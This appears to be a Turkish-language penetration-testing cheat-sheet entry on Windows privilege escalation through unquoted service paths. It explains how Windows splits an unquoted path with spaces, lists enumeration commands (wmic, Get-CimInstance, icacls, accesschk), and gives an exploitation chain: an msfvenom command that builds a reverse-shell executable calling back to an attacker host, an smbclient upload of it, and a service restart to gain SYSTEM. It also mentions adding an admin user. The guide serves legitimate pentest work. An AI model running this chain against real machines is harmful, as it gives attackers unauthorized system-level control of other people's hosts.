Unquoted Service Path → Writable Dizinde Yürütülebilir Yerleştirme
Tırnaksız (unquoted) ve boşluk içeren binPath'e sahip bir servis, yolu boşluklardan parçalayarak çalıştırılır. Yol üzerindeki herhangi bir ara dizine yazma hakkın varsa, oraya kötü amaçlı bir .exe koyup servisi (genelde SYSTEM olarak) yeniden başlatarak yetki yükseltirsin.
- Boşluk içeren ve tırnaksız bir binPath (örn. C:\Program Files\My App\svc.exe)
- Yol üzerindeki bir ara dizine yazma (FILE_ADD_FILE / Write) hakkı
- Servisi restart edebilme (SERVICE_START/STOP) veya host'un reboot edileceği bir ortam
Komutlar
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\"" sc qc "VulnSvc" Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select-Object Name,PathName,StartName,StartMode icacls "C:\Program Files\My App" accesschk.exe -accepteula -uwdq "C:\Program Files\My App" msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o My.exe smbclient //{{RHOST}}/share -U '{{USER}}%{{PASS}}' -c 'put My.exe' sc stop "VulnSvc" & sc start "VulnSvc" Zafiyetin Mantığı
Windows bir servisin ImagePath/binPath değerini tırnaksız ve içinde boşluk varsa, yolu soldan sağa boşluklarla parçalayarak çalıştırmayı dener. Örneğin:
C:\Program Files\My App\service.exe
Windows sırayla şunları çalıştırmayı dener:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe
Bu ara adaylardan yazma hakkına sahip olduğun bir dizine, doğru isimle (My.exe gibi) bir yürütülebilir koyarsan, servis başladığında senin binary’n — çoğunlukla LocalSystem olarak — çalışır.
Tespit / Enumeration
Önce auto-start, Windows dışı ve tırnaksız servisleri ele. wmic service get tek satırı veya PowerShell Get-CimInstance Win32_Service ile listeyi daral. sc qc <servis> ile SERVICE_START_NAME satırı LocalSystem ise hedef değerlidir; START_TYPE AUTO ise reboot’ta tetiklenir.
winPEAS/PowerUp da bu kontrolü otomatik yapar:
- winPEAS:
Services InformationbölümündeUnquotedveyou can writerozetleri. - PowerUp:
Get-ServiceUnquotedveGet-ModifiableServiceFile.
Yazılabilir Dizini Doğrula
Unquoted path tek başına yetmez; ara dizinlerden en az birine yazman gerekir. icacls veya Sysinternals accesschk ile BUILTIN\Users, Authenticated Users, Everyone ya da kendi kullanıcına ait (W)/(M)/(F) haklarını ara. Sadece C:\ köküne yazamazsın çoğu zaman, ama C:\Program Files\My App\ üst dizinine yazabiliyorsan adayın My.exe’dir.
Exploitation
- Kali’de
msfvenomile servis uyumlu birexeüret (reverse shell veyanet userekleyen basit bir komut çalıştıran payload). - Payload’ı boşluktan önceki kelimeyle adlandır ve doğru ara dizine yerleştir (
C:\Program Files\My.exe). sc stop+sc startile servisi yeniden başlat; yetkin yoksa makinenin reboot’unu bekle.- SYSTEM shell / eklenen admin kullanıcı ile yükselmeyi doğrula.
Notlar / Tuzaklar
- Servis hesabı
LocalSystemdeğilse (ör.NT SERVICE\...) kazancın sınırlı olabilir;SERVICE_START_NAMEmutlaka kontrol et. - Payload servis kontrol yöneticisine yanıt vermezse servis ‘failed to start’ verir ama binary yine de çalışır — reverse shell yakaladıysan sorun değildir; yine de servis uyumlu bir wrapper veya hızlı bir
cmd /cpayload tercih et. - Temizlik: yerleştirdiğin
.exe’yi sonradan sil ve gerçek pentestte raporla. - İlişkili zafiyetler: servisin kendi binPath’ini değiştirebiliyorsan
win-weak-svc-perms, registryImagePathACL’i zayıfsawin-weak-registry.